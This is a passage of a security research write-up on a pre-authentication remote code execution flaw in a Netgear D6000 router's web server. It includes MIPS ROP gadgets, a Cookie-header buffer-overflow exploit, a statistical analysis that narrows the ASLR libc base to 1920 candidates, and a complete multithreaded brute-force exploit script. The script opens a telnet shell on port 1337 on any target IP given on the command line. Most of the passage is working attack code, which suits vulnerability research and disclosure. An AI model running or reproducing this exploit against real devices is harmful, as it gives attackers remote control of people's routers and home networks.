   59c38:	04410010 	bgez	v0,59c7c <__libc_system+0xcc>
   59c74:	1000003f 	b	59d74 <__libc_system+0x1c4>
   59c7c:	1440001b 	bnez	v0,59cec <__libc_system+0x13c>
   59d2c:	14620002 	bne	v1,v0,59d38 <__libc_system+0x188>

Gadget 1: 0x0000c670

move $t9, $s1;                   # t9 = s1
jalr $t9;                        # jalr t9
addiu $a1, $sp, 0xb8;            # a1 = sp + 0xb8

Gadget 2: 0x00041980

move $a0, $a1;                   # a0 = a1
addiu $a2, $zero, 0xc;           # a2 = 0xc
move $t9, $s0;                   # t9 = s0
jalr $t9;                        # jalr t9
move $a1, $zero;                 # a1 = 0

File: exploit_1.py

import socket


# Bash command to execute on the system during the ROP chain.
COMMAND = b"$(utelnetd -l/bin/sh -p1337)#"

# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
    b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
    b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
    b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
    b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
    b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
    b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
    b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
    b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
    b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
    b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
    b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
    b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
    b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
    b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
    b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
    b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
    b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
    b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
    b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
    b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
    b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
    b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
    b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
    b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
    b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)

# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
    "s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
    "s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
    "sp": b"1Bj2",
    "ra": b"j0Bj",
    "next_sp": b"Bp3B"
}

# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
    "s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
    "s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
    "s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
    "s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
    "s8": PAYLOAD.find(TRIGGERS["s8"]),
    "sp": PAYLOAD.find(TRIGGERS["sp"]),
    "ra": PAYLOAD.find(TRIGGERS["ra"]),
    "next_sp": PAYLOAD.find(TRIGGERS["next_sp"])
}

# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
    1: 0x0000c670, # 0x0000c670: move $t9, $s1; jalr $t9; addiu $a1, $sp, 0xb8;
    2: 0x00041980, # 0x00041980: move $a0, $a1; addiu $a2, $zero, 0xc; move $t9, $s0; jalr $t9; move $a1, $zero;
}

# 00059bb0 <__libc_system>:
SYSTEM_OFFSET = 0x00059bb0


# This function allows us to define the value stored in a register.
def set_register_value(register, value):
    PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value

# This function allows us to define the system command to be executed.
def set_command(command):
    PAYLOAD[ INDEXES["next_sp"] : INDEXES["next_sp"] + len(command) ] = command


# We get the libc base address.
libc_base_address = int(input("Enter libc base address:\n> ").replace("0x", ""), 16)

# We recalculate the gadget addresses using the libc base address.
gadgets = {}
for i in GADGET_OFFSETS:
    print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
    gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
    print(f"[*] Gadget {i} is at address: {gadgets[i]}")
    gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))

# We recalculate the address of the system() function.
print(f"[*] system() offset: {hex(SYSTEM_OFFSET)}")
system = hex(libc_base_address + SYSTEM_OFFSET)
print(f"[*] system() is at address: {system}")
system = bytearray.fromhex(system.replace("0x", ""))

# This wait allows us to define breakpoints in the debugger.
wait = input("Press enter to continue ...\n")

set_register_value("s0", system)
set_register_value("s1", gadgets[2])

set_register_value("ra", gadgets[1])
set_command(COMMAND)

# We prepare the HTTP request.
request  = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"

# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)

So far, we’ve exploited the target, but since ASLR was enabled, we had to find the address to which libc was mapped in RAM manually (via a command presented earlier in the debug chapter).

Exploit part 3, let’s bypass ASLR

We used a simple method to analyze the behavior of ASLR and its impact on libc’s base address. As the boa process is automatically restarted in case of a crash, we followed the following iterative steps:

  • Kill the boa process in order to restart it.
    • kill $(ps|grep boa|grep -v grep|cut -d " " -f 1)
  • Retrieve the libc base address from the memory of the newly created boa process.
    • cat /proc/$(ps|grep boa|grep -v grep|cut -d ' ' -f 1)/maps|grep "/lib/libc.so.0"|grep xp

After multiple iterations, we were able to collect the following results:

2b12b000-2b192000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
2b029000-2b090000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
2b399000-2b400000 r-xp 00000000 1f:03 1169       /lib/libc.so.0

...

2b131000-2b198000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
2b9f5000-2ba5c000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
2b0cf000-2b136000 r-xp 00000000 1f:03 1169       /lib/libc.so.0

We can summarize the results as follows:

  • Value: 0x2b12b000
  • Value: 0x2b029000
  • Value: 0x2b399000
  • Value: …

Which can be decomposed as:

  • Value: 0x2b12b000
    • Prefix: 0x2b
    • Random part: 12b
    • Suffix: 000
  • Value: 0x2b029000
    • Prefix: 0x2b
    • Random part: 029
    • Suffix: 000
  • Value: 0x2b399000
    • Prefix: 0x2b
    • Random part: 399
    • Suffix: 000

In fact, we’ve realized that libc’s base address is made up of just 3 random values, (4096 possibilities) the rest being fixed. By creating a multithreaded exploit, it is possible to brute force the base address of the libc and thus obtain a complete exploit as it was exactly done in this previous article:

But what if I told you it is possible to do better?

Values distribution analysis

First, we’ll generate a libc base address dataset by repeatedly launching and killing the process boa using the following script (to launch on the router):

File: run.sh

for i in 1 2 <...> 999 1000
do
    killall boa
    sleep 2
    pid=$(ps|grep boa|grep -v grep|awk '{ print $1 }')
    cat /proc/$pid/maps|grep "/lib/libc\.so\.0"|grep xp > /tmp/result_$i.log
done

Then let’s disassemble these addresses.

cat result*.log|cut -d "-" -f 1 > base_address.lst
cut -c-2 base_address.lst > prefix.lst
cut -c-5 base_address.lst > guess.lst

For the file guess.lst, remove the prefix using the following regexes:

  • ^2a
  • ^2b

Then you can either only keep the first value by removing other values (file first_byte_to_guess.lst):

  • ..$

Or keep the third value by removing other values (file third_byte_to_guess.lst):

  • ^..

Or keep the second value by removing other values (file second_byte_to_guess.lst):

  • ^.
  • .$

To get a more accurate overview of this completely experimental analysis, I’ve chosen to run two sets of tests.

Run 0 (256 base address)

value prefix first value second value third value
0x2a 44/256
(17.1875%)
     
0x2b 212/256
(82.8125%)
     
0x0   13/256
(5.078125%)
16/256
(6.25%)
0/256
(0.0%)
0x1   19/256
(7.421875%)
13/256
(5.078125%)
26/256
(10.15625%)
0x2   12/256
(4.6875%)
20/256
(7.8125%)
0/256
(0.0%)
0x3   24/256
(9.375%)
12/256
(4.6875%)
41/256
(16.015625%)
0x4   18/256
(7.03125%)
21/256
(8.203125%)
0/256
(0.0%)
0x5   16/256
(6.25%)
25/256
(9.765625%)
33/256
(12.890625%)
0x6   14/256
(5.46875%)
15/256
(5.859375%)
0/256
(0.0%)
0x7   18/256
(7.03125%)
21/256
(8.203125%)
29/256
(11.328125%)
0x8   20/256
(7.8125%)
20/256
(7.8125%)
1/256
(0.390625%)
0x9   16/256
(6.25%)
8/256
(3.125%)
23/256
(8.984375%)
0xa   10/256
(3.90625%)
11/256
(4.296875%)
1/256
(0.390625%)
0xb   16/256
(6.25%)
13/256
(5.078125%)
24/256
(9.375%)
0xc   15/256
(5.859375%)
16/256
(6.25%)
1/256
(0.390625%)
0xd   18/256
(7.03125%)
17/256
(6.640625%)
31/256
(12.109375%)
0xe   18/256
(7.03125%)
17/256
(6.640625%)
2/256
(0.78125%)
0xf   9/256
(3.515625%)
11/256
(4.296875%)
44/256
(17.1875%)

Run 1 (256 base address)

value prefix first value second value third value
0x2a 37/256
(14.453125%)
     
0x2b 219/256
(85.546875)
     
0x0   14/256
(5.46875%)
18/256
(7.03125%)
0/256
(0.0%)
0x1   17/256
(6.640625%)
17/256
(6.640625%)
35/256
(13.671875%)
0x2   15/256
(5.859375%)
18/256
(7.03125%)
0/256
(0.0%)
0x3   14/256
(5.46875%)
8/256
(3.125%)
26/256
(10.15625%)
0x4   17/256
(6.640625%)
12/256
(4.6875%)
1/256
(0.390625%)
0x5   15/256
(5.859375%)
14/256
(5.46875%)
23/256
(8.984375%)
0x6   20/256
(7.8125%)
16/256
(6.25%)
1/256
(0.390625%)
0x7   19/256
(7.421875%)
22/256
(8.59375%)
30/256
(11.71875%)
0x8   16/256
(6.25%)
12/256
(4.6875%)
0/256
(0.0%)
0x9   14/256
(5.46875%)
17/256
(6.640625%)
33/256
(12.890625%)
0xa   23/256
(8.984375%)
20/256
(7.8125%)
0/256
(0.0%)
0xb   16/256
(6.25%)
13/256
(5.078125%)
30/256
(11.71875%)
0xc   15/256
(5.859375%)
14/256
(5.46875%)
0/256
(0.0%)
0xd   24/256
(9.375%)
20/256
(7.8125%)
43/256
(16.796875%)
0xe   13/256
(5.078125%)
18/256
(7.03125%)
1/256
(0.390625%)
0xf   4/256
(1.5625%)
17/256
(6.640625%)
33/256
(12.890625%)

Prefix

As you can see, the probability of obtaining a prefix with the value 0x2b is high (greater than 80%).

First value

As we can see, the probability of having the representation of the integer 15 (0xf) for the first value is very low (less than 4%).

Third value

As we can see, the probability of having the representation of an even number for the third value is very low (close to 0%).

Results analysis

By taking all of these information into account, we can reduce our search space of the libc base address from 16 * 16 * 16 = 4096 values to 15 * 16 * 8 = 1920 values.

POC

alt-text

Exploit execution time is random, as it depends on the probability of finding the right libc base address (1920 possibility).

File: exploit.py

import argparse
import os
import random
import socket
import threading
import time


# This variable is used to manage verbosity.
DEBUG = 0

# Port on which the utelnetd process should listen.
TELNETD_PORT = 1337

# Bash command to execute on the system during the ROP chain.
COMMAND = b"$(utelnetd -l/bin/sh -p" + f"{TELNETD_PORT}".encode() + b")#"

# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
    b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
    b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
    b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
    b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
    b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
    b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
    b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
    b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
    b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
    b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
    b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
    b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
    b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
    b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
    b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
    b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
    b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
    b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
    b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
    b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
    b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
    b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
    b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
    b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
    b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)

# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
    "s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
    "s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
    "sp": b"1Bj2",
    "ra": b"j0Bj",
    "next_sp": b"Bp3B"
}

# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
    "s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
    "s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
    "s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
    "s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
    "s8": PAYLOAD.find(TRIGGERS["s8"]),
    "sp": PAYLOAD.find(TRIGGERS["sp"]),
    "ra": PAYLOAD.find(TRIGGERS["ra"]),
    "next_sp": PAYLOAD.find(TRIGGERS["next_sp"])
}

# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
    1: 0x0000c670, # 0x0000c670: move $t9, $s1; jalr $t9; addiu $a1, $sp, 0xb8;
    2: 0x00041980, # 0x00041980: move $a0, $a1; addiu $a2, $zero, 0xc; move $t9, $s0; jalr $t9; move $a1, $zero;
}

# 00059bb0 <__libc_system>:
SYSTEM_OFFSET = 0x00059bb0

# Most likely address of libc's base.
LIBC_BASE_ADDRESS = []
for a in [hex(i)[2::] for i in range(0,15)]:
    for b in [hex(i)[2::] for i in range(0,16)]:
        for c in [hex(i)[2::] for i in range(1,16,2)]:
            LIBC_BASE_ADDRESS.append(f"0x2b{a}{b}{c}000")


# This function allows us to define the value stored in a register.
def set_register_value(register, value):
    PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value


# This function allows us to define the system command to be executed.
def set_command(command):
    PAYLOAD[ INDEXES["next_sp"] : INDEXES["next_sp"] + len(command) ] = command


# This function is used to brute force the libc's base address.
def brute_force_libc_base_address(options):
    print("[*] Brute forcing libc's bases address ...")
    while 1:
        random.shuffle(LIBC_BASE_ADDRESS)
        for i in LIBC_BASE_ADDRESS:
            # We get the libc base address from the pre-calculated one.
            if DEBUG:
                print(f"[*] Libc's base address: {i}")
            libc_base_address = int(i.replace("0x", ""), 16)

            # We recalculate the gadget addresses using the libc base address.
            gadgets = {}
            for i in GADGET_OFFSETS:
                gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
                if DEBUG:
                    print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
                    print(f"[*] Gadget {i} is at address: {gadgets[i]}")
                gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))

            # We recalculate the address of the system() function.
            system = hex(libc_base_address + SYSTEM_OFFSET)
            if DEBUG:
                print(f"[*] system() offset: {hex(SYSTEM_OFFSET)}")
                print(f"[*] system() is at address: {system}")
            system = bytearray.fromhex(system.replace("0x", ""))

            set_register_value("s0", system)
            set_register_value("s1", gadgets[2])

            set_register_value("ra", gadgets[1])
            set_command(COMMAND)

            # We prepare the HTTP request.
            request  = b""
            request += b"GET / HTTP/1.1\r\n"
            request += b"Host: " + options["ip"].encode() + b"\r\n"
            # we inject our payload into the Cookie header.
            request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
            request += b"\r\n\r\n"

            try:
                # We connect ourselves via a TCP connection to the router's listening port (80).
                fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                fd.connect((options["ip"], int(options["port"])))
                # HTTP request is sent to the target.
                fd.send(request)
            except Exception as e:
                pass


# This function checks whether the exploit has succeeded and whether a port is
# listening on port TELNETD_PORT.
def check(options):
    print("[*] Checking if exploit succeed ...")
    while 1:
        try:
            # We connect ourselves via a TCP connection to the router's listening port (80).
            fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            fd.connect((options["ip"], int(TELNETD_PORT)))
            print(f"[+] Exploit succeed:\n\t- Executed command: {COMMAND.decode()}")
            os._exit(0)
        except Exception as e:
            time.sleep(10)


def main(options):
    threads = []
    # Thread to brute force libc's base address.
    thread = threading.Thread(target=brute_force_libc_base_address, args=(options,))
    thread.start()
    threads.append(thread)
    # Thread to check if exploit succeed
    thread = threading.Thread(target=check, args=(options,))
    thread.start()
    threads.append(thread)
    for thread in threads:
            thread.join()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Netgear D6000, Remote Code Execution (pre-auth)")
    parser.add_argument("ip", help="Target's IP.")
    parser.add_argument("port", help="Target's port.")
    args = parser.parse_args()

    options = {}
    options["ip"] = args.ip
    options["port"] = args.port
    main(options)

Thank you for taking the time to read this article.